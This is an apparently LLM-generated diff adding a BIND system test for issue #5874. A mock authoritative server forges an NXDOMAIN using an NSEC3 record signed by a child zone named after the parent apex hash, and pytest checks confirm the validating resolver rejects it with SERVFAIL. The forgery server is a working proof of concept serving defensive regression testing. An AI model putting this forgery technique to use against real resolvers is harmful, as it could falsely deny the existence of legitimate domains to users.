Reproducer for #5874 NSEC3 impersonation

LLM generated.

diff --git a/bin/tests/system/repro_5874_nsec3_parent/ans1/ans.py b/bin/tests/system/repro_5874_nsec3_parent/ans1/ans.py
new file mode 100644 (file)
index 0000000..614f26a
--- /dev/null
+++ b/bin/tests/system/repro_5874_nsec3_parent/ans1/ans.py
@@ -0,0 +1,18 @@
+#!/usr/bin/python3
+
+# Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+#
+# SPDX-License-Identifier: MPL-2.0
+#
+# This Source Code Form is subject to the terms of the Mozilla Public
+# License, v. 2.0.  If a copy of the MPL was not distributed with this
+# file, you can obtain one at https://mozilla.org/MPL/2.0/.
+#
+# See the COPYRIGHT file distributed with this work for additional
+# information regarding copyright ownership.
+
+from server import main
+
+
+if __name__ == "__main__":
+    main()

diff --git a/bin/tests/system/repro_5874_nsec3_parent/ns2/named.conf.j2 b/bin/tests/system/repro_5874_nsec3_parent/ns2/named.conf.j2
new file mode 100644 (file)
index 0000000..9358866
--- /dev/null
+++ b/bin/tests/system/repro_5874_nsec3_parent/ns2/named.conf.j2
@@ -0,0 +1,35 @@
+// validating resolver
+
+options {
+       query-source address 10.53.0.2;
+       notify-source 10.53.0.2;
+       transfer-source 10.53.0.2;
+       port @PORT@;
+       pid-file "named.pid";
+       listen-on { 10.53.0.2; };
+       listen-on-v6 { none; };
+       recursion yes;
+       dnssec-validation yes;
+       trust-anchor-telemetry no;
+       resolver-query-timeout 5000;
+};
+
+controls {
+       inet 10.53.0.2 port @CONTROLPORT@ allow { any; } keys { rndc_key; };
+};
+
+include "../../_common/rndc.key";
+
+zone "." {
+       type hint;
+       file "../../_common/root.hint";
+};
+
+zone "tld.test" {
+       type static-stub;
+       server-addresses { 10.53.0.1; };
+};
+
+trust-anchors {
+       tld.test. static-key 257 3 13 "@TLD_DNSKEY@";
+};

diff --git a/bin/tests/system/repro_5874_nsec3_parent/server.py b/bin/tests/system/repro_5874_nsec3_parent/server.py
new file mode 100644 (file)
index 0000000..c6856bb
--- /dev/null
+++ b/bin/tests/system/repro_5874_nsec3_parent/server.py
@@ -0,0 +1,249 @@
+#!/usr/bin/python3
+
+# Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+#
+# SPDX-License-Identifier: MPL-2.0
+#
+# This Source Code Form is subject to the terms of the Mozilla Public
+# License, v. 2.0.  If a copy of the MPL was not distributed with this
+# file, you can obtain one at https://mozilla.org/MPL/2.0/.
+#
+# See the COPYRIGHT file distributed with this work for additional
+# information regarding copyright ownership.
+
+from collections.abc import AsyncGenerator
+from dataclasses import dataclass
+from pathlib import Path
+
+import json
+
+from cryptography.hazmat.primitives import serialization
+
+import dns.dnssec
+import dns.flags
+import dns.message
+import dns.name
+import dns.rdata
+import dns.rdataclass
+import dns.rcode
+import dns.rdatatype
+import dns.rrset
+
+from isctest.asyncserver import (
+    AsyncDnsServer,
+    DnsResponseSend,
+    QueryContext,
+    ResponseHandler,
+)
+
+TTL = 300
+TLD = "tld.test."
+APEX_HASH = "1B40241KFORIOG780N4IKSCRLVETPCTQ"
+ATTACKER = f"{APEX_HASH.lower()}.{TLD}"
+VICTIM = f"victim.{TLD}"
+AUTH_IP = "10.53.0.1"
+
+
+@dataclass(frozen=True)
+class Key:
+    zone: dns.name.Name
+    private_key: object
+    dnskey: dns.rdata.Rdata
+    ds: dns.rdata.Rdata
+
+
+def name(text: str) -> dns.name.Name:
+    return dns.name.from_text(text)
+
+
+def load_keys() -> dict[str, Key]:
+    path = Path(__file__).resolve().parent / "keys.json"
+    with path.open(encoding="utf-8") as keys_file:
+        raw_keys = json.load(keys_file)
+
+    keys = {}
+    for zone, raw_key in raw_keys.items():
+        private_key = serialization.load_pem_private_key(
+            raw_key["private_pem"].encode("ascii"),
+            password=None,
+        )
+        dnskey = dns.rdata.from_text(
+            dns.rdataclass.IN, dns.rdatatype.DNSKEY, raw_key["dnskey"]
+        )
+        ds = dns.rdata.from_text(dns.rdataclass.IN, dns.rdatatype.DS, raw_key["ds"])
+        keys[zone] = Key(name(zone), private_key, dnskey, ds)
+
+    return keys
+
+
+def rrset(owner: str, rdtype: dns.rdatatype.RdataType, *rdatas: str) -> dns.rrset.RRset:
+    return dns.rrset.from_text(owner, TTL, dns.rdataclass.IN, rdtype, *rdatas)
+
+
+def rrset_from_rdata(owner: str, rdata: dns.rdata.Rdata) -> dns.rrset.RRset:
+    return dns.rrset.from_rdata(name(owner), TTL, rdata)
+
+
+def rrsig_rrset(covered: dns.rrset.RRset, signer: Key) -> dns.rrset.RRset:
+    rrsig = dns.dnssec.sign(
+        covered,
+        signer.private_key,
+        signer.zone,
+        signer.dnskey,
+        lifetime=86400,
+        verify=True,
+    )
+    return dns.rrset.from_rdata(covered.name, covered.ttl, rrsig)
+
+
+def add_signed(
+    section: list[dns.rrset.RRset], covered: dns.rrset.RRset, signer: Key
+) -> None:
+    section.append(covered)
+    section.append(rrsig_rrset(covered, signer))
+
+
+def dnskey_rrset(zone: str, zone_key: Key) -> dns.rrset.RRset:
+    return rrset_from_rdata(zone, zone_key.dnskey)
+
+
+def ds_rrset(zone: str, zone_key: Key) -> dns.rrset.RRset:
+    return rrset_from_rdata(zone, zone_key.ds)
+
+
+def soa_rrset(zone: str) -> dns.rrset.RRset:
+    return rrset(
+        zone,
+        dns.rdatatype.SOA,
+        f"ns.{zone} hostmaster.{zone} 1 3600 600 86400 300",
+    )
+
+
+def ns_rrset(zone: str, ns_target: str) -> dns.rrset.RRset:
+    return rrset(zone, dns.rdatatype.NS, ns_target)
+
+
+def glue_rrset(ns_target: str, address: str) -> dns.rrset.RRset:
+    return rrset(ns_target, dns.rdatatype.A, address)
+
+
+def answer_dnskey(response: dns.message.Message, zone: str, zone_key: Key) -> None:
+    add_signed(response.answer, dnskey_rrset(zone, zone_key), zone_key)
+
+
+def answer_soa(response: dns.message.Message, zone: str, zone_key: Key) -> None:
+    add_signed(response.answer, soa_rrset(zone), zone_key)
+
+
+def answer_ns(
+    response: dns.message.Message, zone: str, ns_target: str, zone_key: Key
+) -> None:
+    add_signed(response.answer, ns_rrset(zone, ns_target), zone_key)
+
+
+def answer_ds(
+    response: dns.message.Message, zone: str, child_key: Key, parent_key: Key
+) -> None:
+    add_signed(response.answer, ds_rrset(zone, child_key), parent_key)
+
+
+def child_nsec3_rrset() -> dns.rrset.RRset:
+    rdata = dns.rdata.from_text(
+        dns.rdataclass.IN,
+        dns.rdatatype.NSEC3,
+        f"1 0 0 - {APEX_HASH} NS SOA RRSIG DNSKEY NSEC3PARAM",
+    )
+    return dns.rrset.from_rdata(name(f"{APEX_HASH}.{TLD}"), TTL, rdata)
+
+
+def forged_nxdomain(response: dns.message.Message, keys: dict[str, Key]) -> None:
+    response.set_rcode(dns.rcode.NXDOMAIN)
+
+    add_signed(response.authority, soa_rrset(TLD), keys[TLD])
+
+    # The owner name derives zone "tld.test.", but the RRSIG signer is the
+    # secure child zone "1b40241kforiog780n4ikscrlvetpctq.tld.test.".
+    add_signed(response.authority, child_nsec3_rrset(), keys[ATTACKER])
+
+
+class SignedResponseHandler(ResponseHandler):
+    def __init__(self, keys: dict[str, Key]) -> None:
+        self.keys = keys
+
+    async def get_responses(
+        self, qctx: QueryContext
+    ) -> AsyncGenerator[DnsResponseSend, None]:
+        qctx.prepare_new_response(with_zone_data=False)
+        qctx.response.flags |= dns.flags.AA
+        qctx.response.set_rcode(dns.rcode.NOERROR)
+        self.respond(qctx)
+        yield DnsResponseSend(qctx.response, authoritative=True)
+
+    def respond(self, qctx: QueryContext) -> None:
+        raise NotImplementedError
+
+
+class VictimForgedNxdomainHandler(SignedResponseHandler):
+    def match(self, qctx: QueryContext) -> bool:
+        return qctx.qname == name(VICTIM) and qctx.qtype == dns.rdatatype.A
+
+    def respond(self, qctx: QueryContext) -> None:
+        forged_nxdomain(qctx.response, self.keys)
+
+
+class ChildDsHandler(SignedResponseHandler):
+    def match(self, qctx: QueryContext) -> bool:
+        return qctx.qname == name(ATTACKER) and qctx.qtype == dns.rdatatype.DS
+
+    def respond(self, qctx: QueryContext) -> None:
+        answer_ds(qctx.response, ATTACKER, self.keys[ATTACKER], self.keys[TLD])
+
+
+class AttackerZoneHandler(SignedResponseHandler):
+    def match(self, qctx: QueryContext) -> bool:
+        return qctx.qname.is_subdomain(name(ATTACKER))
+
+    def respond(self, qctx: QueryContext) -> None:
+        if qctx.qname == name(ATTACKER):
+            if qctx.qtype == dns.rdatatype.DNSKEY:
+                answer_dnskey(qctx.response, ATTACKER, self.keys[ATTACKER])
+            elif qctx.qtype == dns.rdatatype.SOA:
+                answer_soa(qctx.response, ATTACKER, self.keys[ATTACKER])
+            else:
+                answer_ns(qctx.response, ATTACKER, f"ns.{ATTACKER}", self.keys[ATTACKER])
+                qctx.response.additional.append(glue_rrset(f"ns.{ATTACKER}", AUTH_IP))
+            return
+
+        qctx.response.set_rcode(dns.rcode.NXDOMAIN)
+        add_signed(qctx.response.authority, soa_rrset(ATTACKER), self.keys[ATTACKER])
+
+
+class TldZoneHandler(SignedResponseHandler):
+    def match(self, qctx: QueryContext) -> bool:
+        return qctx.qname.is_subdomain(name(TLD))
+
+    def respond(self, qctx: QueryContext) -> None:
+        if qctx.qname == name(TLD):
+            if qctx.qtype == dns.rdatatype.DNSKEY:
+                answer_dnskey(qctx.response, TLD, self.keys[TLD])
+            elif qctx.qtype == dns.rdatatype.SOA:
+                answer_soa(qctx.response, TLD, self.keys[TLD])
+            else:
+                answer_ns(qctx.response, TLD, "ns.tld.test.", self.keys[TLD])
+                qctx.response.additional.append(glue_rrset("ns.tld.test.", AUTH_IP))
+            return
+
+        qctx.response.set_rcode(dns.rcode.NXDOMAIN)
+        add_signed(qctx.response.authority, soa_rrset(TLD), self.keys[TLD])
+
+
+def main() -> None:
+    keys = load_keys()
+    server = AsyncDnsServer(default_aa=True)
+    server.install_response_handlers(
+        VictimForgedNxdomainHandler(keys),
+        ChildDsHandler(keys),
+        AttackerZoneHandler(keys),
+        TldZoneHandler(keys),
+    )
+    server.run()

diff --git a/bin/tests/system/repro_5874_nsec3_parent/tests_repro_5874_nsec3_parent.py b/bin/tests/system/repro_5874_nsec3_parent/tests_repro_5874_nsec3_parent.py
new file mode 100644 (file)
index 0000000..5fbeff5
--- /dev/null
+++ b/bin/tests/system/repro_5874_nsec3_parent/tests_repro_5874_nsec3_parent.py
@@ -0,0 +1,144 @@
+#!/usr/bin/python3
+
+# Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+#
+# SPDX-License-Identifier: MPL-2.0
+#
+# This Source Code Form is subject to the terms of the Mozilla Public
+# License, v. 2.0.  If a copy of the MPL was not distributed with this
+# file, you can obtain one at https://mozilla.org/MPL/2.0/.
+#
+# See the COPYRIGHT file distributed with this work for additional
+# information regarding copyright ownership.
+
+from pathlib import Path
+
+import json
+
+from cryptography.hazmat.primitives import serialization
+from cryptography.hazmat.primitives.asymmetric import ec
+
+import dns.dnssec
+import dns.flags
+import dns.name
+import dns.rdataclass
+import dns.rdatatype
+import pytest
+
+import isctest
+
+APEX_HASH = "1B40241KFORIOG780N4IKSCRLVETPCTQ"
+ATTACKER = f"{APEX_HASH.lower()}.tld.test."
+VICTIM = "victim.tld.test."
+AUTH = "10.53.0.1"
+RESOLVER = "10.53.0.2"
+
+pytestmark = pytest.mark.extra_artifacts(
+    [
+        "ans*/ans.run",
+        "keys.json",
+    ]
+)
+
+
+def _make_key(zone):
+    private_key = ec.generate_private_key(ec.SECP256R1())
+    dnskey = dns.dnssec.make_dnskey(
+        private_key.public_key(),
+        algorithm="ECDSAP256SHA256",
+        flags=257,
+    )
+    ds = dns.dnssec.make_ds(dns.name.from_text(zone), dnskey, "SHA256")
+    private_pem = private_key.private_bytes(
+        encoding=serialization.Encoding.PEM,
+        format=serialization.PrivateFormat.PKCS8,
+        encryption_algorithm=serialization.NoEncryption(),
+    ).decode("ascii")
+    return {
+        "private_pem": private_pem,
+        "dnskey": dnskey.to_text(),
+        "ds": ds.to_text(),
+    }
+
+
+def bootstrap():
+    zones = ["tld.test.", ATTACKER]
+    keys = {zone: _make_key(zone) for zone in zones}
+
+    Path("keys.json").write_text(json.dumps(keys, indent=2), encoding="ascii")
+
+    tld_dnskey = "".join(keys["tld.test."]["dnskey"].split()[3:])
+    return {"TLD_DNSKEY": tld_dnskey}
+
+
+def _check_direct_dnskey_response(zone):
+    query = isctest.query.create(zone, "DNSKEY")
+    response = isctest.query.tcp(query, AUTH)
+
+    isctest.check.noerror(response)
+    assert response.flags & dns.flags.AA
+    assert (
+        response.get_rrset(
+            response.answer,
+            dns.name.from_text(zone),
+            dns.rdataclass.IN,
+            dns.rdatatype.DNSKEY,
+        )
+        is not None
+    ), response
+
+
+def _check_direct_ds_response(zone):
+    query = isctest.query.create(zone, "DS")
+    response = isctest.query.tcp(query, AUTH)
+
+    isctest.check.noerror(response)
+    assert response.flags & dns.flags.AA
+    assert (
+        response.get_rrset(
+            response.answer,
+            dns.name.from_text(zone),
+            dns.rdataclass.IN,
+            dns.rdatatype.DS,
+        )
+        is not None
+    ), response
+
+
+def test_repro_5874_direct_forged_nsec3_response_has_child_signer():
+    _check_direct_dnskey_response("tld.test.")
+    _check_direct_dnskey_response(ATTACKER)
+    _check_direct_ds_response(ATTACKER)
+
+    query = isctest.query.create(VICTIM, "A")
+    response = isctest.query.tcp(query, AUTH)
+
+    isctest.check.nxdomain(response)
+    assert response.flags & dns.flags.AA
+
+    nsec3_owner = dns.name.from_text(f"{APEX_HASH}.tld.test.")
+    nsec3 = response.get_rrset(
+        response.authority,
+        nsec3_owner,
+        dns.rdataclass.IN,
+        dns.rdatatype.NSEC3,
+    )
+    rrsig = response.get_rrset(
+        response.authority,
+        nsec3_owner,
+        dns.rdataclass.IN,
+        dns.rdatatype.RRSIG,
+        covers=dns.rdatatype.NSEC3,
+    )
+
+    assert nsec3 is not None, response
+    assert rrsig is not None, response
+    assert rrsig[0].signer == dns.name.from_text(ATTACKER)
+
+
+def test_repro_5874_resolver_rejects_child_signed_nsec3_parent_proof():
+    query = isctest.query.create(VICTIM, "A")
+    response = isctest.query.tcp(query, RESOLVER)
+
+    isctest.check.servfail(response)
+    isctest.check.noadflag(response)